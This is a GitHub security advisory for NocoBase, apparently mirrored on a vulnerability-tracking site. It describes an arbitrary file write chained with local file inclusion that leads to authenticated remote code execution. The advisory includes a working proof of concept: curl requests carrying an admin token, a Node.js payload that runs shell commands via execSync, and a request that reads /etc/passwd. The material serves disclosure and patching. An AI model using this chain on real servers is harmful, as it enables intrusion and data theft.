GHSA-GHVF-QF6H-G8X5
Vulnerability from github – Published: 2026-08-20 18:42 – Updated: 2026-08-20 18:42
VLAI
Summary
NocoBase: Arbitrary File Write chained with Local file Inclusion leads to Remote code execution
Details
Executive Summary
Two vulnerabilities were identified and chained to achieve authenticated remote code execution
The first vulnerability allows any authenticated admin to redirect the file upload storage root to an arbitrary path on disk including the application directory itself by supplying an unsanitized documentRoot value to the storages:update API. The second vulnerability allows the same admin to trigger Node.js require() on any absolute filesystem path via the pm:enable plugin manager endpoint, which accepts user-supplied paths with no validation (Local File Inclusion).
Chained together, these two flaws allow an attacker with admin credentials to write a malicious file and have it trigger on the system achieving remote code execution.
A working proof-of-concept exploit chain was developed and verified, requiring only a valid admin session token.
VULN 1: Arbitrary File Write via storages:update documentRoot Manipulation
Summary
The file-manager plugin's storage update endpoint accepts an arbitrary documentRoot value without validation. An authenticated admin can overwrite a storage record's documentRoot to any absolute path on the filesystem, then upload files that land anywhere the Node.js process (root in default Docker deployments) can write including the web root, the application source directory, or system paths.
Vulnerable Components
packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts | getDocumentRoot() L24–27 |
packages/plugins/@nocobase/plugin-file-manager/src/server/actions/attachments.ts | createMiddleware()
Server route: POST /api/storages:update
Server route: POST /api/attachments:upload
Root Cause
getDocumentRoot() resolves the documentRoot field from the storage record:
// packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts
const { documentRoot = process.env.LOCAL_STORAGE_DEST || path.join(process.cwd(), 'storage', 'uploads') } =
this.storage.options || {};
return path.resolve(path.isAbsolute(documentRoot) ? documentRoot : path.join(process.cwd(), documentRoot));
resolveSafePath() is called during file upload to prevent filename traversal, but it uses the already-resolved (attacker-controlled) documentRoot as its safe root. There is no validation on the documentRoot value itself at creation or update time. An admin can set documentRoot to any path (/, /etc, /var/www/html, the app root) and the upload will write there.
The creation endpoint (storages:create) also accepts arbitrary documentRoot, but the update endpoint is worse: it silently replaces the root on an existing (potentially already-default) storage, bypassing any frontend guards.
Steps to Reproduce
Prerequisites: Admin session token.
Step 1 Get the local storage ID:
curl -s "http://192.168.228.130:13000/api/storages" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI"
Storage ID on this target: 366584416632832
Step 2 Create the RCE payload:
cat > /tmp/rce_proof.js << 'EOF'
const { execSync } = require('child_process');
const fs = require('fs');
const out = execSync('id; whoami; hostname').toString();
fs.writeFileSync('/home/spooky/nocobase/storage/uploads/out.txt', out);
module.exports = {};
EOF
Step 3 Redirect storage documentRoot to app CWD:
curl -s -X POST "http://192.168.228.130:13000/api/storages:update?filterByTk=366584416632832" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" \
-H "Content-Type: application/json" \
-d '{"options":{"documentRoot":"."},"default":true}'
Step 4 upload the RCE payload:
The payload writes output to the NocoBase uploads directory, which is served statically on port 13000
curl -s -X POST "http://192.168.228.130:13000/api/attachments:upload" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI" \
-F "file=@/tmp/rce_proof.js;filename=rce_proof.js;type=application/javascript"
Now that the file is uploaded successfully we can trigger the RCE with the LFI shown below
VULN 2: Error-Based Local File Inclusion via pm:enable Unsanitized requireModule() Call
Overview
pm:enable passes filterByTk directly to require() with no path validation. This is a standalone LFI primitive with two modes:
- Non-JS files (e.g.
/etc/passwd): Node.js parses them as JavaScript, fails with aSyntaxErrorthat embeds the file content in the error message. That error is written tosystem_error_YYYY-MM-DD.logand is downloadable vialogger:downloadgiving an attacker blind/error-based file read. - JS files (e.g. an attacker-uploaded payload): the file executes as Node.js code in the server process RCE. This is the second stage of the chain with VULN-01.
Root Cause
The enable action takes filterByTk from query params and passes it directly to the CLI runner with zero validation:
// packages/core/server/src/plugin-manager/options/resource.ts L141-151
async enable(ctx, next) {
const { filterByTk } = ctx.action.params; // ← raw user input
if (!filterByTk) {
ctx.throw(400, 'plugin name invalid');
}
const keys = Array.isArray(filterByTk) ? filterByTk : [filterByTk];
app.runAsCLI(['pm', 'enable', ...keys], { from: 'user' }); // ← no sanitization
ctx.body = filterByTk;
await next();
},
The CLI handler calls requireModule(key):
// packages/core/utils/src/requireModule.ts
export function requireModule(m: any) {
if (typeof m === 'string') {
m = require(m); // ← arbitrary file executed as Node.js module
}
if (typeof m !== 'object') { return m; }
return m.__esModule ? m.default : m;
}
assertSafePluginPackageName() exists in the codebase (validates against absolute paths and ..) but is never invoked in the HTTP action path — only in storage directory helpers. The HTTP handler goes straight from user input → require().
Steps to Reproduce Error-Based File Read (Standalone)
Step 1 Trigger require() on any file:
curl -s "http://TARGET:13000/api/pm:enable?filterByTk=/etc/passwd" \
-H "Authorization: Bearer TOKEN"
# Response: {"data":"/etc/passwd"} — 200 OK
Node.js attempts to parse /etc/passwd as a JavaScript module. It fails at the first : character with:
and we see the error message after sending the request:
Step 2 navigate to the logger and download the system error log
now when we extract the .tar file we can see proof of local file inclusion (partial in this response):
Remote code execution
With our node js payload sitting at the web root all we must do now is use the local file inclusion in pm:enable to trigger it
curl -s "http://192.168.228.130:13000/api/pm:enable?filterByTk=/home/spooky/nocobase/rce_proof.js" \
-H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI"
Retrieve output via NocoBase static file serving
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@nocobase/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-209",
"CWE-434",
"CWE-73",
"CWE-829"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-20T18:42:21Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Executive Summary\n\nTwo vulnerabilities were identified and chained to achieve authenticated remote code execution\n\nThe first vulnerability allows any authenticated admin to redirect the file upload storage root to an arbitrary path on disk including the application directory itself by supplying an unsanitized `documentRoot` value to the `storages:update` API. The second vulnerability allows the same admin to trigger Node.js `require()` on any absolute filesystem path via the `pm:enable` plugin manager endpoint, which accepts user-supplied paths with no validation (Local File Inclusion).\n\nChained together, these two flaws allow an attacker with admin credentials to write a malicious file and have it trigger on the system achieving remote code execution.\n\nA working proof-of-concept exploit chain was developed and verified, requiring only a valid admin session token.\n\n\n## VULN 1: Arbitrary File Write via `storages:update` documentRoot Manipulation\n\n### Summary\n\nThe file-manager plugin\u0027s storage update endpoint accepts an arbitrary `documentRoot` value without validation. An authenticated admin can overwrite a storage record\u0027s `documentRoot` to any absolute path on the filesystem, then upload files that land anywhere the Node.js process (root in default Docker deployments) can write including the web root, the application source directory, or system paths.\n\n### Vulnerable Components\n\n`packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts` | `getDocumentRoot()` L24\u201327 |\n`packages/plugins/@nocobase/plugin-file-manager/src/server/actions/attachments.ts` | `createMiddleware()` \nServer route: `POST /api/storages:update` \nServer route: `POST /api/attachments:upload` \n\n### Root Cause\n\n`getDocumentRoot()` resolves the `documentRoot` field from the storage record:\n\n```javascript\n// packages/plugins/@nocobase/plugin-file-manager/src/server/storages/local.ts\nconst { documentRoot = process.env.LOCAL_STORAGE_DEST || path.join(process.cwd(), \u0027storage\u0027, \u0027uploads\u0027) } =\n this.storage.options || {};\n\nreturn path.resolve(path.isAbsolute(documentRoot) ? documentRoot : path.join(process.cwd(), documentRoot));\n```\n\n`resolveSafePath()` is called during file upload to prevent filename traversal, but it uses the already-resolved (attacker-controlled) `documentRoot` as its safe root. There is **no validation on the `documentRoot` value itself** at creation or update time. An admin can set `documentRoot` to any path (`/`, `/etc`, `/var/www/html`, the app root) and the upload will write there.\n\nThe creation endpoint (`storages:create`) also accepts arbitrary `documentRoot`, but the **update endpoint is worse**: it silently replaces the root on an existing (potentially already-default) storage, bypassing any frontend guards.\n\n### Steps to Reproduce\n\n**Prerequisites:** Admin session token.\n\n\n**Step 1 Get the local storage ID:**\n\n```bash\ncurl -s \"http://192.168.228.130:13000/api/storages\" \\\n -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\"\n```\n\nStorage ID on this target: `366584416632832`\n\n\n**Step 2 Create the RCE payload:**\n\n```bash\ncat \u003e /tmp/rce_proof.js \u003c\u003c \u0027EOF\u0027\nconst { execSync } = require(\u0027child_process\u0027);\nconst fs = require(\u0027fs\u0027);\nconst out = execSync(\u0027id; whoami; hostname\u0027).toString();\nfs.writeFileSync(\u0027/home/spooky/nocobase/storage/uploads/out.txt\u0027, out);\nmodule.exports = {};\nEOF\n\n```\n**Step 3 Redirect storage documentRoot to app CWD:**\n\n```bash\ncurl -s -X POST \"http://192.168.228.130:13000/api/storages:update?filterByTk=366584416632832\" \\\n -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\"options\":{\"documentRoot\":\".\"},\"default\":true}\u0027\n```\n\u003cimg width=\"826\" height=\"304\" alt=\"image\" src=\"https://github.com/user-attachments/assets/808bf5cf-f6cc-4df6-9d94-b84cff1dcd66\" /\u003e\n\n**Step 4 upload the RCE payload:**\n\nThe payload writes output to the NocoBase uploads directory, which is served statically on port 13000\n\n```bash\ncurl -s -X POST \"http://192.168.228.130:13000/api/attachments:upload\" \\\n -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\" \\\n -F \"file=@/tmp/rce_proof.js;filename=rce_proof.js;type=application/javascript\"\n```\n\n\u003cimg width=\"826\" height=\"322\" alt=\"image\" src=\"https://github.com/user-attachments/assets/146492ff-7eeb-4742-a13d-6bb3f9e0cd72\" /\u003e\n\n\n**Now that the file is uploaded successfully we can trigger the RCE with the LFI shown below**\n\n## VULN 2: Error-Based Local File Inclusion via `pm:enable` Unsanitized `requireModule()` Call\n\n### Overview\n`pm:enable` passes `filterByTk` directly to `require()` with no path validation. This is a standalone LFI primitive with two modes:\n\n- **Non-JS files** (e.g. `/etc/passwd`): Node.js parses them as JavaScript, fails with a `SyntaxError` that embeds the file content in the error message. That error is written to `system_error_YYYY-MM-DD.log` and is downloadable via `logger:download` giving an attacker blind/error-based file read.\n- **JS files** (e.g. an attacker-uploaded payload): the file executes as Node.js code in the server process RCE. This is the second stage of the chain with VULN-01.\n\n### Root Cause\n\nThe `enable` action takes `filterByTk` from query params and passes it directly to the CLI runner with zero validation:\n\n```typescript\n// packages/core/server/src/plugin-manager/options/resource.ts L141-151\nasync enable(ctx, next) {\n const { filterByTk } = ctx.action.params; // \u2190 raw user input\n if (!filterByTk) {\n ctx.throw(400, \u0027plugin name invalid\u0027);\n }\n const keys = Array.isArray(filterByTk) ? filterByTk : [filterByTk];\n app.runAsCLI([\u0027pm\u0027, \u0027enable\u0027, ...keys], { from: \u0027user\u0027 }); // \u2190 no sanitization\n ctx.body = filterByTk;\n await next();\n},\n```\n\nThe CLI handler calls `requireModule(key)`:\n\n```typescript\n// packages/core/utils/src/requireModule.ts\nexport function requireModule(m: any) {\n if (typeof m === \u0027string\u0027) {\n m = require(m); // \u2190 arbitrary file executed as Node.js module\n }\n if (typeof m !== \u0027object\u0027) { return m; }\n return m.__esModule ? m.default : m;\n}\n```\n\n`assertSafePluginPackageName()` exists in the codebase (validates against absolute paths and `..`) but is **never invoked** in the HTTP action path \u2014 only in storage directory helpers. The HTTP handler goes straight from user input \u2192 `require()`.\n\n### Steps to Reproduce Error-Based File Read (Standalone)\n\n**Step 1 Trigger require() on any file:**\n\n```bash\ncurl -s \"http://TARGET:13000/api/pm:enable?filterByTk=/etc/passwd\" \\\n -H \"Authorization: Bearer TOKEN\"\n# Response: {\"data\":\"/etc/passwd\"} \u2014 200 OK\n```\nNode.js attempts to parse `/etc/passwd` as a JavaScript module. It fails at the first `:` character with:\n\n\u003cimg width=\"2064\" height=\"530\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6aca1e88-a1c6-466a-8061-a0f3f7fbd4f8\" /\u003e\n\nand we see the error message after sending the request:\n\n\u003cimg width=\"1036\" height=\"380\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b8ddbf38-7de0-47ba-aa56-39ac4f2de400\" /\u003e\n\n**Step 2 navigate to the logger and download the system error log**\n\n\u003cimg width=\"1142\" height=\"720\" alt=\"image\" src=\"https://github.com/user-attachments/assets/84103a14-99a6-4db0-bf86-35d5d09f730d\" /\u003e\n\n\nnow when we extract the .tar file we can see proof of local file inclusion (partial in this response):\n\n\u003cimg width=\"1264\" height=\"268\" alt=\"image\" src=\"https://github.com/user-attachments/assets/8f90ee8b-16d2-4bbf-8308-29ed80330ec8\" /\u003e\n\n## Remote code execution\n\nWith our node js payload sitting at the web root all we must do now is use the local file inclusion in pm:enable to trigger it \n\n```bash\ncurl -s \"http://192.168.228.130:13000/api/pm:enable?filterByTk=/home/spooky/nocobase/rce_proof.js\" \\\n -H \"Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInRlbXAiOnRydWUsImlhdCI6MTc3OTgzMTc1NCwic2lnbkluVGltZSI6MTc3OTgzMTc1NDE3MSwiZXhwIjoxNzc5OTE4MTU0LCJqdGkiOiJlZTJhMTU5Zi04MmE1LTQxZDctOTgyMC02ODlmOTM1Yjk2NWQifQ.Q_4m87ZDKI4bDW6QejoHYveGPNCaxzDJN-N_0B_pAfI\"\n```\n\nRetrieve output via NocoBase static file serving\n\n\u003cimg width=\"832\" height=\"214\" alt=\"image\" src=\"https://github.com/user-attachments/assets/1ed60982-fc93-48f0-8b34-4bae0412ced2\" /\u003e\n\n\u003cimg width=\"810\" height=\"96\" alt=\"image\" src=\"https://github.com/user-attachments/assets/15241236-2701-4488-a9a9-a504c9505562\" /\u003e",
"id": "GHSA-ghvf-qf6h-g8x5",
"modified": "2026-08-20T18:42:21Z",
"published": "2026-08-20T18:42:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-ghvf-qf6h-g8x5"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/pull/9628"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/pull/9701"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/commit/7c9ffe1427a529d62576b83c35222ba7ef9b8d11"
},
{
"type": "WEB",
"url": "https://github.com/nocobase/nocobase/commit/a89e5a999b608bcb4ec67a845e924af0fb58a7c7"
},
{
"type": "PACKAGE",
"url": "https://github.com/nocobase/nocobase"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "NocoBase: Arbitrary File Write chained with Local file Inclusion leads to Remote code execution"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…